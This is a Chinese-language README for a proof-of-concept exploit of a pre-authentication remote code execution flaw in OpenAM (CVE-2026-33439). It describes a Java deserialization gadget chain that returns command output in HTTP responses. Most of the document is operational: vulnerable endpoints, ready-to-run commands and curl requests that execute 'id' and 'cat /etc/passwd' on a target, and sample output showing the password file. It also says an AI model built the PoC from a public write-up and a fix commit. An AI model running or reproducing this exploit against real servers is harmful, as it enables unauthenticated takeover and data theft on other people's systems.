
OpenAM 预认证 RCE(CVE-2026-33439)的漏洞利用程序,使用 Java 反序列化 gadget 链执行命令,并直接在 HTTP 响应中返回输出。
命令输出直接显示在 HTTP 响应中——无需 DNS 外带或 OOB。
利用 com.iplanet.jato.RequestManager.getRequestContext() 在反序列化期间访问活动的
JATO ThreadLocal 请求/响应。适用于 Java 21+,在经典 Tomcat 回显技术
(Thread.target / ThreadGroup.threads 遍历)失效的环境中有效。
javac 编译 translet)click-nodeps-2.3.0.jar 和 xalan-2.7.x.jar| 端点 | 回显输出 |
|---|---|
/sso/ui/PWResetUserValidation | HTTP 200,命令输出在响应体中 |
/sso/ui/PWResetQuestion | HTTP 200,命令输出在响应体中 |
/sso/ui/PWResetSuccess | HTTP 200,命令输出在响应体中 |
已测试但无回显输出(反序列化仍会触发):
/sso/ui/PWResetInvalidURL — 返回错误页面/sso/ui/PWResetUncaughtException — 返回错误页面./build.sh
JAR 会自动添加 --add-opens JVM 参数——无需手动指定。
# 一体化:生成 payload + 发送 + 显示输出(通过 Burp 代理)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# 不使用 Burp 代理
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# 生成可复用 payload(命令在请求时从 'cmd' 头获取)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue 反序列化 payload(Click1 + Xalan TemplatesImpl gadget 链)RequestManager.getRequestContext() 获取活动的 JATO 请求/响应cmd HTTP 头,执行 sh -c <cmd>,将 stdout+stderr 写入 response.getOutputStream()\x00 前缀 + URL 安全 Base64,无填充)/sso/ui/PWResetUserValidation?jato.clientSession=<payload>(无需认证)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # 漏洞利用 JAR
build.sh # 构建脚本
MANIFEST.MF # JAR 清单文件
README.md # 本文件
lib/ # 依赖(必须与 JAR 放在同一目录)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # 源代码
已在 OpenAM 提交 014007c63cacc834cc795a89fac0e611aebc4a32 中修复——在
SessionEncodeURL.readSessionID() 的 ObjectInputStream 中添加了类过滤器。
该 PoC 使用 Claude 创建;提示词为漏洞分析文章(https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce)和 Git 提交(https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)